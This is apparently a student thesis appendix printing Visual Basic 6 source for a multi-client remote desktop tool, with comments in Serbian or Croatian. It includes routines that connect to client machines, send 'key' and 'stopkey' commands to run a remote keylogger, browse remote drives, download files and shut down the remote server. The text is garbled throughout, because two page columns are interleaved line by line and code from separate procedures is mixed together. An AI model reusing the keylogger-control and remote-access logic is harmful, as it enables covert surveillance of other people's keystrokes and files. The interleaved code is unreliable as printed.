Multy Remote Desktop (Source Code) 1 Main and 8 Automate Detect
Multy Remote Desktop (Source Code) 1 Main and 8 Automate Detect
DODATAK
(Izvorni kod programa)
Sadrzaj modula modExtentions.bas >>>>>>>> Case ".AVI"
Attribute VB_Name = "modExtentions" EXTENTIONS = "ANI"
Public Function GetFileExtention(ByRef EXTENTIONS As EXTENTIONS = "ANI"
String) Case "MPEG"
‘ Javne funkcije I podrutine se definisu u EXTENTIONS = "ANI"
‘ modulu dok privatne ide u kodu forme Case ".DLL"
If Left(EXTENTIONS, 1) <> "." Then EXTENTIONS = "DLL"
If Mid(EXTENTIONS, 2, Len(EXTENTIONS)) = ".JS" Then Case ".VXD"
EXTENTIONS = "JS" EXTENTIONS = "DLL"
Exit Function Case ".386"
End If EXTENTIONS = "DLL"
If EXTENTIONS <> "HTML" Then Case ".CPL"
If EXTENTIONS <> "MPEG" Then EXTENTIONS = "DLL"
EXTENTIONS = "FILE" Case ".DRV"
Exit Function EXTENTIONS = "DLL"
End If Case ".KEY"
End If EXTENTIONS = "REG"
End If Case ".OCX"
Select Case EXTENTIONS EXTENTIONS = "DLL"
Case ".MDB" Case ".CAT"
EXTENTIONS = "MDB" EXTENTIONS = "CAT"
Case ".ARX" Case ".CRT"
EXTENTIONS = "ARX" EXTENTIONS = "CRT"
Case ".DWG" Case ".HTM"
EXTENTIONS = "DWG" EXTENTIONS = "IE"
Case ".XMX" Case ".XLA"
EXTENTIONS = "XMX" EXTENTIONS = "XLA"
Case ".UDL" Case ".POT"
EXTENTIONS = "UDL" EXTENTIONS = "POT"
Case ".HDI" Case ".DOT"
EXTENTIONS = "HDI" EXTENTIONS = "DOT"
Case ".CTL" Case ".NFO"
EXTENTIONS = "CTL" EXTENTIONS = "DOC"
Case ".CHM" Case ".PPA"
EXTENTIONS = "CHM" EXTENTIONS = "PPA"
Case ".SCR" Case ".DIZ"
EXTENTIONS = "SCR" EXTENTIONS = "DOC"
Case ".MDZ" Case ".SEU"
EXTENTIONS = "WAV" EXTENTIONS = "SEU"
Case ".MID" Case ".HLP"
EXTENTIONS = "WAV" EXTENTIONS = "HLP"
Case ".WMF" Case ".XML"
EXTENTIONS = "BMP" EXTENTIONS = "XML"
Case ".CLS" Case "MPEG"
EXTENTIONS = "CLS" EXTENTIONS = "ANI"
Case ".BAS" Case ".PDF"
EXTENTIONS = "BAS" EXTENTIONS = "PDF"
Case ".VBP" Case ".LNK"
EXTENTIONS = "VB" EXTENTIONS = "SC"
Case ".PSP" Case ".FRM"
EXTENTIONS = "BMP" EXTENTIONS = "FRM"
Case ".BMP" Case "HTML"
EXTENTIONS = "PNT" EXTENTIONS = "IE"
Case ".JPG" Case ".URL"
EXTENTIONS = "BMP" EXTENTIONS = "URL"
Case ".TGA" Case ".RAR"
EXTENTIONS = "BMP" EXTENTIONS = "RAR"
Case ".GIF" Case ".CAB"
EXTENTIONS = "BMP" EXTENTIONS = "RAR"
Case ".ANI" Case ".LOG"
EXTENTIONS = "ANI" EXTENTIONS = "RTF"
Case ".WSZ" Case ".RTF"
EXTENTIONS = "M3U" EXTENTIONS = "RTF"
Case ".M3U" Case ".DOC"
EXTENTIONS = "M3U" EXTENTIONS = "DOC"
Case ".MPG" Case ".DAT"
EXTENTIONS = "DOC"
2
Case ".INF" i=1
EXTENTIONS = "DOC" Do Until i = lLEn + 1
Case ".SWF" NewChar = Asc(Mid(sString, i, 1)) + 13
EXTENTIONS = "SWF" ENCRYPT = ENCRYPT + Chr(NewChar)
Case ".ASP" i=i+1
EXTENTIONS = "ASP" Loop
Case ".TXT" End Function
EXTENTIONS = "TXT" Public Function DECRYPT(sString As String, lLEn As
Case ".INI" Long) As String
EXTENTIONS = "INI" Dim i As Long
Case ".INF" Dim NewChar As Long
EXTENTIONS = "INI" i=1
Case ".PPT" Do Until i = lLEn + 1
EXTENTIONS = "PPT" NewChar = Asc(Mid(sString, i, 1)) - 13
Case ".XLS" DECRYPT = DECRYPT + Chr(NewChar)
EXTENTIONS = "XLS" i=i+1
Case ".BAT" Loop
EXTENTIONS = "TXT" End Function
Case ".SYS" Public Sub SendFile(FileName As String, WinS As
EXTENTIONS = "TXT" Winsock)
Case ".WAV" Dim FreeF As Integer
EXTENTIONS = "WAV" Dim LenFile As Long
Case ".MP3" Dim nCnt As Long
EXTENTIONS = "WAV" Dim LocData As String
Case ".TMP" Dim LoopTimes As Long
EXTENTIONS = "DOC" Dim i As Long
Case ".ZIP" FreeF = FreeFile
EXTENTIONS = "ZIP" Open FileName For Binary As #99
Case ".GID" nCnt = 1
EXTENTIONS = "GID" LenFile = LOF(99)
Case ".EXE" WinS.SendData "|FILESIZE|" & LenFile
EXTENTIONS = "EXE" DoEvents
Case ".TTF" Sleep (400)
EXTENTIONS = "FNT" Do Until nCnt >= (LenFile)
Case ".SHX" LocData = Space$(1024)
EXTENTIONS = "FNT" Get #99, nCnt, LocData
Case ".XFM" If nCnt + 1024 > LenFile Then
EXTENTIONS = "XFM" WinS.SendData Mid$(LocData, 1, (LenFile - nCnt))
Case ".FLT" Else
EXTENTIONS = "XFM" WinS.SendData LocData
Case ".REG" End If
EXTENTIONS = "REG" nCnt = nCnt + 1024
Case ".HTT" Loop
EXTENTIONS = "HTT" Close #99
Case ".DBX" End Sub
EXTENTIONS = "DBX" Sadrzaj modula modParser.bas >>>>>>>>>>>>
End Select
If Len(EXTENTIONS) > 3 Then EXTENTIONS = Option Explicit
"FILE" 'The Sleep API pauses program execution for specified # of
End Function milliseconds.
Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds
Sardzaj modula: modFunctions.bas As Long)
'Drive types.
Attribute VB_Name = "modFunctions" Public Const DRIVE_CDROM = 5
Public Declare Function GetTickCount Lib "kernel32" () As Public Const DRIVE_FIXED = 3
Long Public Const DRIVE_RAMDISK = 6
Sub Pause(HowLong As Long) Public Const DRIVE_REMOTE = 4
Dim u%, tick As Long Public Const DRIVE_REMOVABLE = 2
tick = GetTickCount() Public status As String
Do Public bFileTransfer As Boolean
u% = DoEvents Public lFileSize As Long
Loop Until tick + HowLong < GetTickCount Public bGettingdesktop As Boolean
End Sub Public Declare Function ShellExecute Lib "shell32.dll" Alias
Public Function ENCRYPT(sString As String, lLEn As "ShellExecuteA"(ByVal hwnd As Long, ByVal lpOperation
Long) As String As String, ByVal lpFile As String, ByVal lpParameters As
Dim i As Long String, ByVal lpDirectory As String, ByVal nShowCmd As
Dim NewChar As Long Long) As Long
3
Global LastX As Integer For lLoop = 1 To .Count
Global LastY As Integer frmMain.lblFileCount.Caption = "Number Of Files: "
Global TransBuff As String & .Count
Public Sub Populate_Tree_With_Drives(sDrives As String, If Len(Trim(.Item(lLoop))) <> 0 Then
objTV As TreeView) '****ADDED FOR FILE SIZE DISPLAY****
On Error GoTo Populate_Tree_With_Drives_Error GGGG = .Item(lLoop)
Dim objDriveCollection As Collection BreakItDown GGGG
Dim lLoop As Long '****
Dim sDriveLetter As String Set objPartCollection = ParseString(.Item(lLoop),
Dim iDriveType As String "|")
Dim objSngDrive As Collection EXT = objPartCollection(1)
Dim sImage As String '**** THIS PART GETS FILES EXTENTIONS
sDrives = Mid$(sDrives, 7, Len(sDrives)) ****
Set objDriveCollection = ParseString(sDrives, "|") EXTC = Len(EXT)
For lLoop = 1 To objDriveCollection.Count EXTC = EXTC - 3
Set objSngDrive = EXT = Mid$(objPartCollection(1), EXTC,
ParseString(objDriveCollection.Item(lLoop), ",") Len(EXT))
With objSngDrive EXT = UCase(EXT)
sDriveLetter = .Item(1) FEX = "FILE"
iDriveType = CInt(.Item(2)) GetFileExtention EXT
End With Dim EEEE As String
Select Case iDriveType EEEE = Get_File_Name(objPartCollection(1))
Case DRIVE_REMOVABLE ' **** THIS PART STOPS THE PROGRAM FROM
sImage = "FD" ' **** ADDING FOLDERS TO THE FILE LISTED
Case DRIVE_FIXED ON
sImage = "HD" ' **** LVFILES.
Case DRIVE_REMOTE If GGGG <> "(0 KB)" Then
sImage = "ND" EEEE = EEEE & " " & GGGG
Case DRIVE_CDROM objLV.ListItems.Add , objPartCollection(1),
sImage = "CD" EEEE, EXT, EXT
Case DRIVE_RAMDISK objLV.ListItems(objPartCollection(1)).SubItems(1)
sImage = "RAM Disk" = objPartCollection(2)
Case Else FEX = "": EXT = ""
sImage = "" Else
End Select FEX = "": EXT = ""
objTV.Nodes.Add "xxxROOTxxx", tvwChild, End If
sDriveLetter & ":\", sDriveLetter & ":\", sImage, sImage End If
Next lLoop Next lLoop
Populate_Tree_With_Drives_Exit: End With
Exit Sub End Sub
Populate_Tree_With_Drives_Error: Private Function BreakItDown(Whatever As String)
Err.Raise Err.Number, "Procedure: Dim BLoop As Long
Populate_Tree_With_Drives" & vbCrLf & "Module: BLoop = InStr(1, Whatever, "|")
modParser" Whatever = Mid(Whatever, BLoop + 1, Len(Whatever))
Exit Sub Dim GRF As Long
End Sub GRF = Whatever
Public Sub Populate_Files(sString As String, objLV As If GRF = 0 Then
ListView) Whatever = "(0 KB)"
On Error Resume Next Exit Function
Dim objFileCollection As Collection End If
Dim lLoop As Long
Dim sParentPath As String If GRF <= 1024 Then
Dim sFile As String Whatever = 1
Dim objSngFile As Collection Else
Dim sFileList As String GRF = GRF / 1024
Dim objPartCollection As Collection Whatever = GRF
sFileList = Mid$(sString, 8, Len(sString)) Dim RFG As Integer
frmMain.lvFiles.ListItems.Clear RFG = Whatever
DoEvents Whatever = RFG
Set objFileCollection = ParseString(sFileList, "^") End If
'''**** ADDED TO FIND FILE EXTENTION ****
Dim EXT As String Whatever = "(" & Whatever & " KB)"
Dim FEX As String End Function
Dim EXTC As Long
Dim GGGG As String
With objFileCollection
4
Public Function Get_File_Name(sString As String) As Option Explicit
String Private Sub cmdConnect_Click()
On Error GoTo Get_File_Name_Error On Error GoTo nil:
Dim lLoop As Long sockMain.RemoteHost = txtHost.Text
For lLoop = Len(sString) To 1 Step -1 sockMain.RemotePort = txtPort.Text
If Mid$(sString, lLoop, 1) = "\" Then sockMain.Connect
Get_File_Name = Mid$(sString, lLoop + 1, Exit Sub
Len(sString)) nil:
Exit Function MsgBox "Client is not connected !!", vbCritical
End If End Sub
Private Sub cmdSend_Click()
Next lLoop sockMain.SendData txtSend.Text
Get_File_Name_Exit: End Sub
Exit Function Private Sub Command1_Click()
Get_File_Name_Error: sockMain.Close
Err.Raise Err.Number, "Function: Get_File_Name" & Unload Form1
vbCrLf & "Module: modParser" frmMain1.Show
Exit Function frmMain1.WindowState = 2
End Function End Sub
Public Function NormalizePath(sPath As String) As String Private Sub Command2_Click()
On Error GoTo NormalizePath_Error sockMain.Close
If Right$(sPath, 1) <> "\" Then Form1.Caption = "Disconnected"
NormalizePath = sPath & "\" Form1.Height = 6600
Else Command2.Enabled = False
NormalizePath = sPath ‘ onemoguciti dugmetu rad ( nereaguje na dogadjaj klik
End If itd ) ako se pozove
NormalizePath_Exit: ‘ kao funkcija izvrsice se.
Exit Function Command3.Enabled = False
NormalizePath_Error: Command4.Enabled = False
Err.Raise Err.Number, "Function: NormalizePath" & End Sub
vbCrLf & "Module: modParser" Private Sub Command3_Click()
Exit Function sockMain.SendData ("start")
End Function ‘ AKTIVIRANJE aktivnog prenosa slike
Public Function Populate_Folders(sFolderString As String, Command4.Enabled = True
objTV As TreeView) Command3.Enabled = False
On Error Resume Next Select Case txtHost.Text
Dim objFolderCollection As Collection Case text1.Caption
Dim lLoop As Long frmMain1.Label11.Caption = "Enabled" ‘ uporedjivanje
Dim sParentPath As String vrednosti ipadrese da bi znao gde da postavi enabled
Dim sFolder As String Case text2.Caption
Dim objSngFolder As Collection frmMain1.Label12.Caption = "Enabled" ‘ da bi znali za
Dim sFolderList As String koji klijent vazi
sFolderList = Mid$(sFolderString, 10, Len(sFolderString)) Case text3.Caption
Set objFolderCollection = ParseString(sFolderList, "|") frmMain1.Label13.Caption = "Enabled"
frmMain.lblFolderCount.Caption = "Number Of Folders: " Case text4.Caption
& objFolderCollection.Count frmMain1.Label14.Caption = "Enabled"
For lLoop = 1 To objFolderCollection.Count Case text5.Caption
Set objSngFolder = frmMain1.Label15.Caption = "Enabled"
ParseString(objFolderCollection.Item(lLoop), "^") Case text6.Caption
With objSngFolder frmMain1.Label16.Caption = "Enabled"
sParentPath = .Item(1) Case text7.Caption
sFolder = .Item(2) frmMain1.Label17.Caption = "Enabled"
End With Case text8.Caption
With objTV.Nodes frmMain1.Label18.Caption = "Enabled"
If Len(sParentPath) > 4 Then
.Add Mid$(sParentPath, 1, Len(sParentPath) - 1), End Select
tvwChild, sParentPath & sFolder, sFolder, "CLOSED", End Sub
"OPEN"
Else Private Sub Command4_Click()
.Add sParentPath, tvwChild, sParentPath & sFolder, sockMain.SendData ("stop")
sFolder, "CLOSED", "OPEN" ‘ PREKID aktivnog prenosa slike .
End If Command3.Enabled = True
End With ‘ Kao podatak se salje samo stop I klijent prepoznaje zahtev
Next lLoop ili komandu.
End Function Command4.Enabled = False
5
Select Case txtHost.Text Private Sub SockMain_DataArrival(ByVal bytesTotal As
Case text1.Caption Long)
frmMain1.Label11.Caption = "Disenabled" Dim Strdata As String
Case text2.Caption sockMain.GetData Strdata, vbString
frmMain1.Label12.Caption = "Disenabled" txtStatus.Text = txtStatus.Text & _
Case text3.Caption ‘ prikaz podatka poslatih sa klijent rac. U ovom slucaju
frmMain1.Label13.Caption = "Disenabled" CHAT
Case text4.Caption Strdata & vbCrLf
frmMain1.Label14.Caption = "Disenabled" End Sub
Case text5.Caption Private Sub sockMain_Error(ByVal Number As Integer,
frmMain1.Label15.Caption = "Disenabled" Description As String, ByVal Scode As Long, ByVal Source
Case text6.Caption As String, ByVal HelpFile As String, ByVal HelpContext As
frmMain1.Label16.Caption = "Disenabled" Long, CancelDisplay As Boolean)
Case text7.Caption MsgBox " Client is not connected ", vbCritical ‘ prekid
frmMain1.Label17.Caption = "Disenabled" konekcije
Case text8.Caption End Sub
frmMain1.Label18.Caption = "Disenabled" Private Sub text1_Click()’ NAPOMENA u chat formi
End Select formi1 umesto dugmica koriscena su label slova radi estetike
End Sub txtHost.Text = text1.Caption
Private Sub Form_Load() cmdConnect_Click
Me.Left = 0 End Sub
Me.Top = 0 Private Sub text1_MouseMove(Button As Integer, Shift As
txtStatus.Text = "" Integer, X As Single, Y As Single) ‘ Graficka resenja
text1.Caption = frmMain1.text1.Text ‘postavljanje Shape5.BorderWidth = 2
vrednosti IP adresa za chat prozor End Sub
text2.Caption = frmMain1.text2.Text Private Sub text2_Click()
text3.Caption = frmMain1.text3.Text txtHost.Text = text2.Caption
text4.Caption = frmMain1.text4.Text cmdConnect_Click
text5.Caption = frmMain1.text5.Text End Sub
text6.Caption = frmMain1.text6.Text Private Sub text2_MouseMove(Button As Integer, Shift As
text7.Caption = frmMain1.text7.Text Integer, X As Single, Y As Single)
text8.Caption = frmMain1.text8.Text Shape7.BorderWidth = 2
End Sub End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Private Sub text3_Click()
Integer, X As Single, Y As Single) ‘ graficka resenja txtHost.Text = text3.Caption
Shape5.BorderWidth = 1 cmdConnect_Click
Shape6.BorderWidth = 1 End Sub
Shape7.BorderWidth = 1 Private Sub text3_MouseMove(Button As Integer, Shift As
Shape8.BorderWidth = 1 Integer, X As Single, Y As Single)
Shape9.BorderWidth = 1 Shape9.BorderWidth = 2
Shape10.BorderWidth = 1 End Sub
Shape11.BorderWidth = 1 Private Sub text4_Click()
Shape12.BorderWidth = 1 txtHost.Text = text4.Caption
End Sub cmdConnect_Click
Private Sub Image1_Click() ‘ graficka resenja sakriti liniju End Sub
koja seta gore dole Private Sub text4_MouseMove(Button As Integer, Shift As
gif.Visible = False Integer, X As Single, Y As Single)
Timer1.Enabled = False Shape11.BorderWidth = 2
Timer2.Enabled = False End Sub
End Sub Private Sub text5_Click()
Private Sub Label3_MouseMove(Button As Integer, Shift As txtHost.Text = text5.Caption
Integer, X As Single, Y As Single) ‘ graficka resenja cmdConnect_Click
Shape5.BorderWidth = 1 End Sub
Shape6.BorderWidth = 1 Private Sub text5_MouseMove(Button As Integer, Shift As
Shape7.BorderWidth = 1 Integer, X As Single, Y As Single)
Shape8.BorderWidth = 1 Shape6.BorderWidth = 2
End Sub End Sub
Private Sub SockMain_Connect()‘ Izrvrsena je konekcija Private Sub text6_Click()
dozvoli koriscenje dugmica za start I prekid aktivnog txtHost.Text = text6.Caption
prenosa slike cmdConnect_Click
Command2.Enabled = True End Sub
Command3.Enabled = True Private Sub text6_MouseMove(Button As Integer, Shift As
Command4.Enabled = True Integer, X As Single, Y As Single)
Form1.Caption = "Connected" Shape8.BorderWidth = 2
Form1.Height = 4995 ‘ smanji formu da se nevide ostale ip End Sub
adrese klijenata Private Sub text7_Click()
End Sub txtHost.Text = text7.Caption
6
Private Sub text7_MouseMove(Button As Integer, Shift As cmdConnect_Click
Integer, X As Single, Y As Single) End Sub
Shape10.BorderWidth = 2 Winsock5.RemotePort = "432"
End Sub Winsock5.Connect
Private Sub text8_Click() End Sub
txtHost.Text = text8.Caption Private Sub Command6_Click()
cmdConnect_Click Winsock6.RemoteHost = Text6.Text
End Sub Winsock6.RemotePort = "432"
Private Sub text8_MouseMove(Button As Integer, Shift As Winsock6.Connect
Integer, X As Single, Y As Single) End Sub
Shape12.BorderWidth = 2 Private Sub Command7_Click()
End Sub Winsock7.RemoteHost = Text7.Text
Private Sub Timer1_Timer() Winsock7.RemotePort = "432"
gif.Top = gif.Top + 90 Winsock7.Connect
If gif.Top > 6200 Then End Sub
Timer1.Enabled = False Private Sub Command8_Click()
Timer2.Enabled = True Winsock8.RemoteHost = Text8.Text
End If Winsock8.RemotePort = "432"
End Sub Winsock8.Connect
Private Sub Timer2_Timer() End Sub
gif.Top = gif.Top - 90 Private Sub Form_Load()
If gif.Top < 0 Then txtStatus.Text = ""
Timer2.Enabled = False ‘ pocetak otvaranje porta
Timer1.Enabled = True cmdListen_Click
End If Me.Left = 0
End Sub Me.Top = 0
Private Sub txtSend_KeyDown(KeyCode As Integer, Shift End Sub
As Integer) Private Sub Frame9_MouseMove(Button As Integer, Shift
Shape1.BorderWidth = 2 As Integer, X As Single, Y As Single)
End Sub ‘ graficka resenja
Private Sub txtSend_KeyUp(KeyCode As Integer, Shift As Shape1.BorderWidth = 1
Integer) Shape2.BorderWidth = 1
Shape1.BorderWidth = 1 Shape3.BorderWidth = 1
End Sub Shape4.BorderWidth = 1
Shape5.BorderWidth = 1
Sadrazaj forme form2.frm (Forma automackog detektovanja Shape6.BorderWidth = 1
I uspostavljanja konekcije) Shape7.BorderWidth = 1
Shape8.BorderWidth = 1
Option Explicit Shape9.BorderWidth = 1
Private intSockCnt As Integer ‘ brojac glavnog multyline End Sub
sock-a Private Sub Image1_Click()
Private Sub cmdListen_Click() Me.Hide
‘ Postavljanje porta na rezim osluskivanja , ceka zahtev za End Sub
konekciju Private Sub Image2_Click()
sockMain(0).Close Winsock1.SendData ("stopkey") ‘ zaustaviti keylog
sockMain(0).LocalPort = txtPort.Text Image2.Visible = False
sockMain(0).Listen End Sub
End Sub Private Sub Image3_Click()
Private Sub Command1_Click() ‘ Pojedinacno Winsock2.SendData ("stopkey")
uspostavljanje konekcije Image3.Visible = False
Winsock1.RemoteHost = Text1.Text End Sub
Winsock1.RemotePort = "432" Private Sub Label10_Click()
Winsock1.Connect Timer2.Enabled = True
End Sub End Sub
Private Sub Command2_Click() Private Sub Label10_MouseMove(Button As Integer, Shift
Winsock2.RemoteHost = Text2.Text As Integer, X As Single, Y As Single)
Winsock2.RemotePort = "432" Shape1.BorderWidth = 2
Winsock2.Connect End Sub
End Sub Private Sub Label11_Click()
Private Sub Command3_Click() On Error GoTo ju:
Winsock3.RemoteHost = Text3.Text Winsock1.SendData ("key")
Winsock3.RemotePort = "432" Image2.Visible = True
Winsock3.Connect Exit Sub
End Sub ju:
Private Sub Command4_Click() MsgBox "Error .You are not connected with client",
Winsock4.RemoteHost = Text4.Text vbCritical
Winsock4.RemotePort = "432" End Sub
Winsock4.Connect Private Sub Label11_MouseMove(Button As Integer, Shift
7
End Sub As Integer, X As Single, Y As Single)
Private Sub Command5_Click()
Winsock5.RemoteHost = Text5.Text
Shape2.BorderWidth = 2 Winsock7.SendData ("key")
End Sub Image8.Visible = True
Private Sub Label12_Click()
On Error GoTo ju: Exit Sub
Winsock2.SendData ("key")’ aktivirati keylog ju:
Image3.Visible = True MsgBox "Error .You are not connected with client",
Exit Sub vbCritical
ju: End Sub
MsgBox "Error .You are not connected with client", Private Sub Label17_MouseMove(Button As Integer, Shift
vbCritical ‘ u slucaju disconnect As Integer, X As Single, Y As Single)
End Sub Shape8.BorderWidth = 2
Private Sub Label12_MouseMove(Button As Integer, Shift End Sub
As Integer, X As Single, Y As Single) Private Sub Label18_Click()
Shape3.BorderWidth = 2 On Error GoTo ju:
End Sub Winsock8.SendData ("key")
Private Sub Label13_Click() Image9.Visible = True
On Error GoTo ju: Exit Sub
Winsock3.SendData ("key") ju:
Image4.Visible = True MsgBox "Error .You are not connected with client",
Exit Sub vbCritical
ju: End Sub
MsgBox "Error .You are not connected with client", Private Sub Label18_MouseMove(Button As Integer, Shift
vbCritical As Integer, X As Single, Y As Single)
End Sub Shape9.BorderWidth = 2
Private Sub Label13_MouseMove(Button As Integer, Shift End Sub
As Integer, X As Single, Y As Single) Private Sub Label9_MouseMove(Button As Integer, Shift As
Shape4.BorderWidth = 2 Integer, X As Single, Y As Single)
End Sub Timer1.Enabled = True
Private Sub Label14_Click() End Sub
On Error GoTo ju: Private Sub sockMain_ConnectionRequest(Index As Integer,
Winsock4.SendData ("key") ByVal requestID As Long)
Image5.Visible = True intSockCnt = intSockCnt + 1 ‘ inkrementiranje brojaca
Exit Sub konekcije za multyline
ju: Load sockMain(intSockCnt)
MsgBox "Error .You are not connected with client", sockMain(intSockCnt).Accept requestID
vbCritical txtStatus.Text = txtStatus.Text & _
End Sub "Connected to: " & _
Private Sub Label14_MouseMove(Button As Integer, Shift sockMain(intSockCnt).RemoteHostIP & vbCrLf
As Integer, X As Single, Y As Single) ‘ Poslat je zahtev za konekciju I upis ip adrese klijenta
Shape5.BorderWidth = 2 upisuje se u prvi slobodan tekst boks a zatim izlazi iz
End Sub podrutine exit sub da nebi ‘ upisivo I dalje I popunijo sve
Private Sub Label15_Click() tekst
On Error GoTo ju: If Text1.Text = "slobodno" Then
Winsock5.SendData ("key") Text1.Text = sockMain(intSockCnt).RemoteHostIP
Image6.Visible = True Exit Sub
Exit Sub End If
ju: If Text2.Text = "slobodno" Then
MsgBox "Error .You are not connected with client", Text2.Text = sockMain(intSockCnt).RemoteHostIP
vbCritical Exit Sub
End Sub End If
Private Sub Label15_MouseMove(Button As Integer, Shift If Text3.Text = "slobodno" Then
As Integer, X As Single, Y As Single) Text3.Text = sockMain(intSockCnt).RemoteHostIP
Shape6.BorderWidth = 2 Exit Sub
End Sub End If
Private Sub Label16_Click() If Text4.Text = "slobodno" Then
On Error GoTo ju: Text4.Text = sockMain(intSockCnt).RemoteHostIP
Winsock6.SendData ("key") Exit Sub
Image7.Visible = True End If
Exit Sub If Text5.Text = "slobodno" Then
ju: Text5.Text = sockMain(intSockCnt).RemoteHostIP
MsgBox "Error .You are not connected with client", Exit Sub boksove jednom istom adresom
vbCritical End If
End Sub If Text6.Text = "slobodno" Then
Private Sub Label16_MouseMove(Button As Integer, Shift Text6.Text = sockMain(intSockCnt).RemoteHostIP
As Integer, X As Single, Y As Single) Exit Sub
8
Shape7.BorderWidth = 2
End Sub
Private Sub Label17_Click()
On Error GoTo ju:
End If End If
If Text7.Text = "slobodno" Then Form1.Text4.Caption = Text4.Text
Text7.Text = sockMain(intSockCnt).RemoteHostIP frmMain1.Text4.Text = Text4.Text
Exit Sub End Sub
End If Private Sub Text5_Change()
If Text8.Text = "slobodno" Then If Text5.Text <> "slobodno" Then
Text8.Text = sockMain(intSockCnt).RemoteHostIP Command5_Click
Exit Sub Frame5.Caption = "connected to : " & Text5.Text
End If End If
End Sub Form1.Text5.Caption = Text5.Text
Private Sub SockMain_DataArrival(Index As Integer, ByVal frmMain1.Text5.Text = Text5.Text
bytesTotal As Long) End Sub
‘ Manje bitno mesto jer ovaj SOCK neprima podatke ali se Private Sub Text6_Change()
moze iskoristiti If Text6.Text <> "slobodno" Then
Dim Strdata As String Frame6.Caption = "connected to : " & Text6.Text
Dim intCnt As Integer Command6_Click
sockMain(Index).GetData Strdata, vbString End If
txtStatus.Text = txtStatus.Text & _ Form1.Text6.Caption = Text6.Text
Strdata & vbCrLf frmMain1.Text6.Text = Text6.Text
For intCnt = 1 To intSockCnt End Sub
If sockMain(intCnt).State = sckConnected Then Private Sub Text7_Change()
sockMain(intCnt).SendData Strdata If Text7.Text <> "slobodno" Then
End If Frame7.Caption = "connected to : " & Text7.Text
Next intCnt Command7_Click
End Sub End If
Private Sub Text1_Change() ‘ ako su svi prazni I prvi klijent Form1.Text7.Caption = Text7.Text
se konektovao za server text1 menja slobodno na IP adresu frmMain1.Text7.Text = Text7.Text
naseg klijenta End Sub
If Text1.Text <> "slobodno" Then Private Sub Text8_Change()
Command1_Click ‘ ako smo dobili IP klijenta Vrsimo If Text8.Text <> "slobodno" Then
preko dugmeta command1 konekciju na portu 432 za server Frame8.Caption = "connected to : " & Text8.Text
na klijentu.OBJASNJENJE. mainsock je multyline konektor Command8_Click
on dozvoljava vise klijenata ali nemoze da uoci prekid veze End If
‘ zato se preko dugmeta povezuje zaseban sock za klijent Form1.Text8.Caption = Text8.Text
koji kada pukne veza javlja programu da klijent vise nije frmMain1.Text8.Text = Text8.Text
konektovan End Sub
‘ I upisuje se vrednost slobodno na vise mesta.Pored ove Private Sub Timer1_Timer()
funkcije preko ovog sock-a salje se komande za keyloger Frame9.Top = Frame9.Top + 85
‘ Vazan momenat promena teksta . Kada se promeni tekst If Frame9.Top > 370 Then
mozemo dobiti ili ip adresu klijenta ili slobodno… Timer1.Enabled = False
Frame1.Caption = "connected to : " & Text1.Text Frame9.Top = 370
End If End If
Form1.Text1.Caption = Text1.Text End Sub
frmMain1.Text1.Text = Text1.Text Private Sub Timer2_Timer()
End Sub Frame9.Top = Frame9.Top – 85 ‘ graficka resenja (linija
Private Sub Text2_Change() koja seta gore dole
If Text2.Text <> "slobodno" Then If Frame9.Top < -8350 Then
Frame2.Caption = "connected to : " & Text2.Text Timer2.Enabled = False
Command2_Click Frame9.Top = -8350
End If End If
Form1.Text2.Caption = Text2.Text End Sub
frmMain1.Text2.Text = Text2.Text Private Sub Winsock1_Close()
End Sub Text1.Text = "slobodno"
Private Sub Text3_Change() ‘ detekcija prekida konekcije
If Text3.Text <> "slobodno" Then frmMain1.Label11.Caption = "Disenabled"
Frame3.Caption = "connected to : " & Text3.Text Winsock1.Close
Command3_Click Frame1.Caption = "not connected"
End If Label11.Caption = "not connected"
Form1.Text3.Caption = Text3.Text End Sub
frmMain1.Text3.Text = Text3.Text Private Sub Winsock1_Connect()
End Sub Label11.Caption = Winsock1.RemoteHostIP
Private Sub Text4_Change() ‘ dogadjaj KONEKCIJA
If Text4.Text <> "slobodno" Then End Sub
9
Command4_Click Private Sub Winsock1_DataArrival(ByVal bytesTotal As
Frame4.Caption = "connected to : " & Text4.Text Long)
Dim nik1 As String
Winsock1.GetData nik1
Text9.Text = Text9.Text & nik1 ‘ prihvatanje podatka
10
Label16.Caption = "not connected" Private Const WM_RBUTTONDBLCLK = &H206
End Sub Private Const WM_RBUTTONDOWN = &H204
Private Sub Winsock6_DataArrival(ByVal bytesTotal As Private Const WM_RBUTTONUP = &H205
Long) Private Declare Function Shell_NotifyIcon Lib "shell32"
Dim nik6 As String Alias "Shell_NotifyIconA" (ByVal dwMessage As Long,
Winsock6.GetData nik6 pnid As NOTIFYICONDATA) As Boolean
Text14.Text = Text14.Text & nik Dim t As NOTIFYICONDATA
Private Sub cmdClose_Click()
lblStatus.Caption = " Status: Closing Remote Explorer" ‘ For i = rty To 1 Step -1
zatvoren je sock za pregled kataloga , ocisti prozor I naznaci If Mid(YTR, i, 1) = "(" Then
lblStatus.ForeColor = vbGreen YTR = Mid(YTR, 1, i - 1)
MessageTimer.Enabled = True End If
TvTreeView.Nodes.Clear Next i
lvFiles.ListItems.Clear If sockExplorer.State <> sckConnected Then
sockExplorer.Close MsgBox "Not Connected to EXPLORER ..... Click 'GET
DRIVES' Button", vbOKOnly, "DUHHHHH"
lblState(1).Caption = "Not Connected" Exit Sub
End Sub End If
Private Sub cmdClose2_Click() With CommonDialog1
sockServer.Close ‘ zatvori server .DialogTitle = "Save remote file to:"
SSTab1.Tab = 0 .FileName = YTR
chkStartUp.Value = 0 .ShowSave
chkDownloads.Value = 0 If Len(Dir(.FileName)) <> 0 Then
chkAutoLogin.Value = 1 iResult = MsgBox(.FileName & " exists! Do you wish
chkVerify.Value = 0 to overwrite this file?", vbQuestion + vbYesNoCancel,
lstVerify.Clear "REMOTE ADMINISTRATION")
End Sub If iResult = vbNo Then
Private Sub cmdCloseRemServer_Click() Exit Sub
SockMain.SendData "|CLOSE|" ‘ iskljuci End If
server program End If
Pause 10 Open .FileName For Binary As #1
Disable End With
End Sub bFileTransfer = True
Private Sub cmdConnect_Click() frmdownloading.lblFIleName = lvFiles.SelectedItem.Text
‘zahtev za konekcijom frmdownloading.Show
SaveUserName sockExplorer.SendData "|GETFILE|" &
SockMain.Close lvFiles.SelectedItem.Key
SockMain.RemoteHost = txtRemHost.Text End Sub
SockMain.Connect Private Sub cmdEmpty_Click()
End Sub msg = "|EMPTYRECYCLEBIN|"
Private Sub SaveUserName() SockMain.SendData msg
Kill App.Path & "\RA.ini" End Sub
Open App.Path & "\RA.ini" For Append As #1 ‘ snimi Private Sub cmdExecute_Click()
